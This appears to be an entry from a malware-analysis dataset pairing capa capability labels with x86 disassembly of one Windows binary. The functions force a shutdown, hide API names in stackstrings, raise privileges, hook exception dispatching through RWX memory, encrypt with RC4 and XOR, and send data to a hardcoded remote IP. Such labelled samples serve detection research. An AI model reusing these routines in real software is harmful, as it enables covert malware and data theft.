joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4060e0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004030c0
push 0x110
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.004737c0
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x406137
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x110], 2
jne 0x406145
call fcn.00405f70
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret

Function at 0x406160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call fcn.004030c0
mov al, 0x6c
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc], al
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov al, 0x6f
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x16], al
mov cl, 0x74
mov al, 0x73
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], al
lea eax, [ebp - 0x28]
mov dl, 0x6e
mov byte [ebp - 0xf], cl
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x1c], cl
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], dl
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 7], 0
mov byte [ebp - 0x28], 0x4e
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], dl
mov byte [ebp - 0x21], 0x66
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x11], 0
call fcn.00486440
mov esi, eax
test esi, esi
jne 0x40621c
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x29]
push edx
push 0
push 1
push 0x14
call sub.ntdll.dll_RtlAdjustPrivilege
test eax, eax
jne 0x40620b
push 4
lea eax, [ebp + 8]
push eax
push 0x1d
push edi
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret

Function at 0x407120
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40713b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x407174
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x407170
jmp 0x407160
cmp esi, eax
jae 0x407174
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407160
cmp esi, eax
jb 0x40717b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407850
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x29]
push eax
xor edi, edi
push edi
push 1
push 0x14
call sub.ntdll.dll_RtlAdjustPrivilege
mov cl, 0x69
mov dl, 0x74
mov al, 0x6c
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x18], cl
lea ecx, [ebp - 0x28]
mov byte [ebp - 0xb], dl
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x14], dl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov al, 0x65
push ecx
lea edx, [ebp - 0xc]
push edx
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 7], 0
mov byte [ebp - 0x28], 0x4b
mov byte [ebp - 0x26], 0x55
mov byte [ebp - 0x25], 0x73
mov byte [ebp - 0x24], al
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x45
mov byte [ebp - 0x21], 0x78
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x44
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], al
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40795e
mov al, 0x53
lea esp, [esp]
cmp byte [esi], 0xe8
jne 0x40791a
cmp byte [esi - 1], al
je 0x40791d
inc esi
jmp 0x407910
mov eax, dword [esi + 1]
lea edx, [ebp - 0x30]
push edx
push 0x40
push 0x1000
lea ecx, [esi + eax + 5]
push esi
mov dword [0x529878], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x407800
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
Function at 0x407970
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor eax, eax
push esi
mov esi, 5
mov dword [ebp - 4], eax
cmp dword [0x52987c], eax
jne 0x40798b
xor esi, esi
cmp dword [0x529880], eax
jne 0x407998
mov esi, 1
cmp dword [0x529884], eax
jne 0x4079a5
mov esi, 2
cmp dword [0x529888], eax
jne 0x407a0e
mov esi, 3
push ebx
mov ebx, dword [ebp + 8]
push edi
mov dword [esi*4 + 0x52987c], ebx
mov dword [esi*4 + 0x52988c], 0x407e40
mov dword [esi*4 + 0x52989c], eax
cmp ecx, eax
je 0x407a1a
push ecx
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x407ad3
push ebx
mov ecx, esi
call fcn.00407750
add esp, 4
push edi
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
cmp esi, 4
jl 0x4079b2
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push eax
push 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
xor eax, eax
mov dword [ebp - 8], edi
cmp edi, 0xffffffff
je 0x407add
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x24]
push eax
push edi
mov dword [ebp - 0x24], 0x1c
call sub.KERNEL32.dll_Thread32First
mov ebx, eax
test ebx, ebx
je 0x407ad3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x18], eax
jne 0x407abe
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x1c]
cmp ecx, eax
je 0x407abe
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x407acc
mov ecx, dword [ebp + 8]
push ecx
mov ecx, esi
call fcn.00407750
add esp, 4
push edi
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
lea edx, [ebp - 0x24]
push edx
push edi
call sub.KERNEL32.dll_Thread32Next
mov ebx, eax
jmp 0x407acf
mov edi, dword [ebp - 8]
test ebx, ebx
jne 0x407a73
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407ca0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x407d31
mov eax, method.CSimpleException.virtual_8
test eax, eax
je 0x407d31
lea ecx, [ebp + 8]
push ecx
mov eax, ebx
call fcn.004094a0
add esp, 4
test eax, eax
je 0x407d31
push esi
push edi
mov edi, dword [ebp + 8]
push 0x40
push 0x1000
lea edx, [edi + 0xe]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [esi], edi
push edi
add esi, 4
lea eax, [esi + 5]
push ebx
push eax
mov dword [ebp + 8], eax
call fcn.00475820
mov edx, dword [ebp + 8]
mov eax, method.CSimpleException.virtual_8
sub eax, esi
mov ecx, ebx
sub ecx, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
sub ecx, 0xa
mov byte [esi + edi + 5], 0xe9
mov dword [esi + edi + 6], ecx
mov ecx, dword [ebp + 0xc]
push ebx
mov dword [0x52985c], edx
call fcn.00407970
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x407e70
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407e86
test al, 0x10
je 0x407e86
mov eax, 1
ret
xor eax, eax
ret

Function at 0x407e90
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x407ea3
xor eax, eax
mov word [ebx], ax
push esi
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407ebb
test al, 0x10
jne 0x407f71
mov eax, esi
push edi
xor edi, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407ec3
sub eax, edx
sar eax, 1
je 0x407f4a
movzx eax, word [esi + edi*2]
cmp ax, 0x5c
je 0x407ee4
cmp ax, 0x2f
jne 0x407f31
xor ecx, ecx
push esi
movzx ebx, ax
mov word [esi + edi*2], cx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407efd
test al, 0x10
jne 0x407f2a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x407f2a
mov eax, dword [ebp + 8]
test eax, eax
je 0x407f2a
cmp byte [ebp - 1], 0
jne 0x407f2a
push esi
push 0x104
push eax
call fcn.0046e8b6
add esp, 0xc
mov byte [ebp - 1], 1
mov word [esi + edi*2], bx
mov ebx, dword [ebp + 8]
mov eax, esi
inc edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407f37
sub eax, edx
sar eax, 1
cmp edi, eax
jb 0x407ed4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop edi
test eax, eax
je 0x407f71
test ebx, ebx
je 0x407f71
cmp byte [ebp - 1], 0
jne 0x407f71
push esi
push 0x104
push ebx
call fcn.0046e8b6
add esp, 0xc
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4083d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret

Function at 0x4083f0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e3956
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x278], eax
mov bl, 0x25
mov al, 0x2a
mov byte [ebp - 0x268], bl
mov dl, 0x73
mov byte [ebp - 0x266], al
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x19], al
mov bl, 0x5c
mov eax, ecx
mov dword [ebp - 0x270], 0
mov byte [ebp - 0x267], dl
mov byte [ebp - 0x265], 0
mov byte [ebp - 0x1b], dl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x18], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408466
sub eax, esi
push ecx
cmp byte [eax + ecx - 1], bl
jne 0x40848b
lea ecx, [ebp - 0x268]
push ecx
push 0x103
lea edx, [ebp - 0x124]
push edx
jmp 0x40849b
lea eax, [ebp - 0x1c]
push eax
push 0x103
lea ecx, [ebp - 0x124]
push ecx
call fcn.0046f15d
xor esi, esi
add esp, 0x10
cmp eax, esi
jl 0x4084b0
cmp eax, 0x103
jne 0x4084b4
mov byte [ebp - 0x21], 0
lea edx, [ebp - 0x264]
push edx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x26c], eax
cmp eax, 0xffffffff
je 0x4085dd
mov bl, 1
test byte [ebp - 0x264], 0x10
jne 0x4085b4
test bl, bl
je 0x408510
lea eax, [ebp - 0x238]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084f3
lea ecx, [ebp - 0x238]
push ecx
sub eax, edx
push edi
call fcn.00408a60
xor bl, bl
jmp 0x40859a
lea edx, [ebp - 0x274]
push edx
mov ecx, 0x50f4cc
call fcn.00406370
lea ecx, [ebp - 0x238]
push ecx
push eax
lea edx, [ebp - 0x27c]
push edx
mov dword [ebp - 4], esi
call fcn.00408720
add esp, 0xc
mov byte [ebp - 4], 1
mov ecx, dword [eax]
mov eax, dword [ecx - 0xc]
push ecx
push edi
call fcn.00408a60
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x27c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x408571
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x274]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40859a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x278]
inc eax
cmp eax, 0xa
mov dword [ebp - 0x270], eax
mov dword [ecx], eax
jge 0x4085d0
mov eax, dword [ebp - 0x26c]
lea edx, [ebp - 0x264]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4084d9
mov ecx, dword [ebp - 0x26c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
Function at 0x409460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
test eax, eax
jne 0x40947e
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call fcn.00475820
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409500
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x4095d8
cmp dword [ebp + 0xc], 0
je 0x4095d8
lea ecx, [ebp - 4]
push ecx
call fcn.004094a0
add esp, 4
test eax, eax
je 0x4095d8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push edi
mov edi, dword [ebp - 4]
push 0x40
push 0x1000
lea edx, [edi + 0xe]
push edx
push 0
call ebx
mov ecx, dword [ebp + 8]
mov esi, eax
mov dword [esi], edi
push edi
add esi, 4
lea eax, [esi + 5]
push ecx
push eax
mov dword [ebp - 4], eax
call fcn.00475820
add esp, 0xc
push 0x40
push 0x1000
push edi
push 0
call ebx
push edi
mov ebx, eax
push 0x90
push ebx
call fcn.004737c0
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, dword [ebp + 8]
mov byte [esi], 0xe9
mov byte [esi + edi + 5], 0xe9
mov edx, eax
sub edx, esi
sub edx, 0xa
mov dword [esi + edi + 6], edx
sub esi, eax
sub esi, 5
mov dword [ebx + 1], esi
mov esi, edi
push ebx
mov edi, eax
mov byte [ebx], 0xe9
call fcn.00409460
add esp, 0x10
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov dword [0x529848], eax
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4095e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x5298d0]
push esi
push edi
call fcn.00449e50
xor ecx, ecx
xor esi, esi
xor edi, edi
cmp dword [ebp + 0xc], ecx
jle 0x409641
push ebx
lea esp, [esp]
inc ecx
and ecx, 0xff
mov dl, byte [ecx + eax]
movzx ebx, dl
add ebx, esi
and ebx, 0xff
mov esi, ebx
movzx ebx, byte [esi + eax]
mov byte [ecx + eax], bl
mov byte [esi + eax], dl
movzx ebx, byte [ecx + eax]
movzx edx, dl
add ebx, edx
mov edx, dword [ebp + 8]
and ebx, 0xff
movzx ebx, byte [ebx + eax]
xor byte [edi + edx], bl
inc edi
cmp edi, dword [ebp + 0xc]
jl 0x409600
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x4097f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x5298d8]
push ebx
mov ebx, dword [ebp + 8]
push edi
call fcn.00449e50
mov edi, eax
movzx eax, byte [esi + 4]
mov byte [edi], al
movzx ecx, byte [esi + 5]
mov byte [edi + 1], cl
mov dl, byte [esi + 6]
mov ecx, dword [0x5298d4]
mov byte [edi + 2], dl
movzx eax, byte [esi + 7]
mov byte [edi + 3], al
call fcn.00449e50
movzx ecx, byte [eax]
xor byte [esi], cl
mov ecx, 1
cmp ebx, ecx
jle 0x40984d
mov edx, ecx
and edx, 7
mov dl, byte [edx + eax]
xor dl, byte [ecx + esi - 1]
inc ecx
xor byte [ecx + esi - 1], dl
cmp ecx, ebx
jl 0x409838
movzx ecx, byte [eax + 2]
xor byte [esi + 3], cl
movzx edx, byte [eax + 3]
mov cl, byte [esi + 3]
xor dl, cl
xor byte [esi + 2], dl
movzx edx, byte [eax + 4]
mov cl, byte [esi + 2]
xor dl, cl
xor byte [esi + 1], dl
movzx edx, byte [eax + 5]
mov cl, byte [esi + 1]
xor dl, cl
xor byte [esi], dl
movzx ecx, byte [edi]
xor byte [eax], cl
movzx edx, byte [edi + 1]
xor byte [eax + 1], dl
movzx ecx, byte [edi + 2]
xor byte [eax + 2], cl
movzx edx, byte [edi + 3]
xor byte [eax + 3], dl
movzx ecx, byte [eax + 7]
movzx edx, byte [eax + 6]
shl ecx, 8
or ecx, edx
movzx edx, byte [eax + 5]
shl ecx, 8
or ecx, edx
movzx edx, byte [eax + 4]
shl ecx, 8
or ecx, edx
add ecx, 0x45c8740f
mov edx, ecx
sar edx, 8
mov byte [eax + 5], dl
mov edx, ecx
sar edx, 0x10
mov byte [eax + 4], cl
sar ecx, 0x18
pop edi
mov byte [eax + 6], dl
mov byte [eax + 7], cl
pop ebx
pop ebp
ret
Function at 0x40b3d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [0x5298ac]
test edi, edi
je 0x40b4e0
cmp dword [edi], 0xffffffff
je 0x40b4e0
cmp byte [edi + 0x1400c], 0
je 0x40b4e0
push esi
mov esi, dword [ebp + 8]
lea eax, [ebx - 2]
push eax
add esi, 2
call fcn.004097f0
add esp, 4
xor esi, esi
test ebx, ebx
jle 0x40b4df
jmp 0x40b426
mov edi, dword [0x5298ac]
mov edx, dword [ebp + 8]
push 0
mov ecx, ebx
sub ecx, esi
push ecx
mov ecx, dword [edi]
lea eax, [esi + edx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40b445
add esi, eax
jmp 0x40b462
cmp eax, 0xffffffff
jne 0x40b462
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x40b46b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
jl 0x40b420
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x10
call fcn.00450212
mov esi, eax
add esp, 4
mov dword [esi], 2
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], edi
call fcn.0040b5d0
mov ecx, dword [0x5298cc]
test ecx, ecx
je 0x40b4c6
mov byte [esi + 0xc], 1
call fcn.00449e50
mov ecx, dword [eax + 4]
xor ecx, dword [eax]
mov eax, dword [0x5298b8]
rol ecx, 3
mov edx, ecx
xor edx, esi
push edx
xor ecx, 0x11
push ecx
push 0x720
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop edi
pop ebx
pop ebp
ret
push esi
push 2
mov byte [esi + 0xc], 0
mov ecx, dword [0x5298b8]
push 0x4cb
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40b7f0
Capabilities:
Connect socket
Create thread
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x31
mov eax, 2
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xc], cl
mov word [ebp - 0x24], ax
mov al, 0x32
mov cl, 0x39
mov byte [ebp - 0xa], cl
mov byte [ebp - 8], cl
push esi
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], al
mov al, 0x2e
lea ecx, [ebp - 0x14]
push ecx
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], al
mov byte [ebp - 0xf], 0x35
mov byte [ebp - 0xe], 0x36
mov byte [ebp - 0xd], al
mov byte [ebp - 0xb], 0x38
mov byte [ebp - 9], al
mov byte [ebp - 7], 0x30
mov byte [ebp - 6], 0
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x77d6
mov dword [ebp - 0x20], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [0x5298ac]
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x28], 1
mov ecx, dword [eax]
push 0x8004667e
push ecx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x40b89f
call fcn.0040b5d0
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
mov eax, dword [0x5298ac]
mov ecx, dword [eax]
push 0x10
lea edx, [ebp - 0x24]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [0x5298ac]
lea ecx, [ebp - 0x30]
push ecx
mov dword [ebp - 0x138], 0
mov eax, dword [edx]
push 0
lea edx, [ebp - 0x138]
push edx
push 0
push 0x40
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x138], 1
mov dword [ebp - 0x30], 0xa
mov dword [ebp - 0x2c], 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x40b917
call fcn.0040b5d0
mov eax, 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
mov eax, dword [0x5298ac]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40aa40
push 0
push 0
mov byte [eax + 0x1400c], 1
call esi
push 0
push 0
push 0
push 0x40b4f0
push 0
push 0
mov dword [0x5298b0], eax
call esi
mov ecx, dword [ebp - 4]
mov dword [0x5298b4], eax
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret
Function at 0x41d230
Capabilities:
Create thread
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e49db
mov eax, dword fs:[0]
push eax
sub esp, 0x330
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x336]
push ecx
mov word [ebp - 0x338], ax
call fcn.004737c0
push 0x103
lea edx, [ebp - 0x12f]
push 0
push edx
mov byte [ebp - 0x130], 0
call fcn.004737c0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x338]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x338]
push ecx
push 0
push 0
call esi
push 0
push 0
push eax
lea edx, [ebp - 0x130]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x338]
push eax
push 0
push 0
call esi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetACP]
xor edi, edi
cmp eax, 0xfde9
jne 0x41d32c
xor eax, eax
lea esi, [edi + 1]
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov byte [ebp - 0x13], al
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0xa
lea ecx, [ebp - 0x1c]
push ecx
push 0x1004
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jle 0x41d32e
lea edx, [ebp - 0x1c]
push edx
call fcn.0046e045
add esp, 4
mov edi, eax
lea eax, [ebp - 0x130]
push 0x5118b8
push eax
call fcn.0046e6a0
add esp, 8
test eax, eax
je 0x41d461
call fcn.00450641
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41d364
push 0x80004005
call fcn.004071f0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x33c], eax
push edi
push esi
lea ecx, [ebp - 0x338]
push ecx
push 0x5118e0
lea edi, [ebp - 0x33c]
mov dword [ebp - 4], 0
call fcn.00408dd0
mov edx, 0x57
mov eax, 0x61
mov word [ebp - 0x2c], dx
mov word [ebp - 0x2a], ax
mov ecx, 0x72
mov edx, 0x6e
mov eax, 0x69
mov word [ebp - 0x28], cx
mov ecx, edx
mov word [ebp - 0x26], dx
mov word [ebp - 0x24], ax
mov edx, 0x67
xor eax, eax
push 0x600
mov word [ebp - 0x22], cx
mov word [ebp - 0x20], dx
mov word [ebp - 0x1e], ax
call fcn.00450212
mov esi, eax
add esp, 0x14
test esi, esi
je 0x41d426
mov ecx, dword [ebp - 0x33c]
push ecx
mov edx, esi
call fcn.00407090
lea edx, [ebp - 0x2c]
push edx
lea edx, [esi + 0x400]
call fcn.004070b0
add esp, 8
push 0
push 0
push esi
push 0x401190
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x33c]
call fcn.00408e20
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x33c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
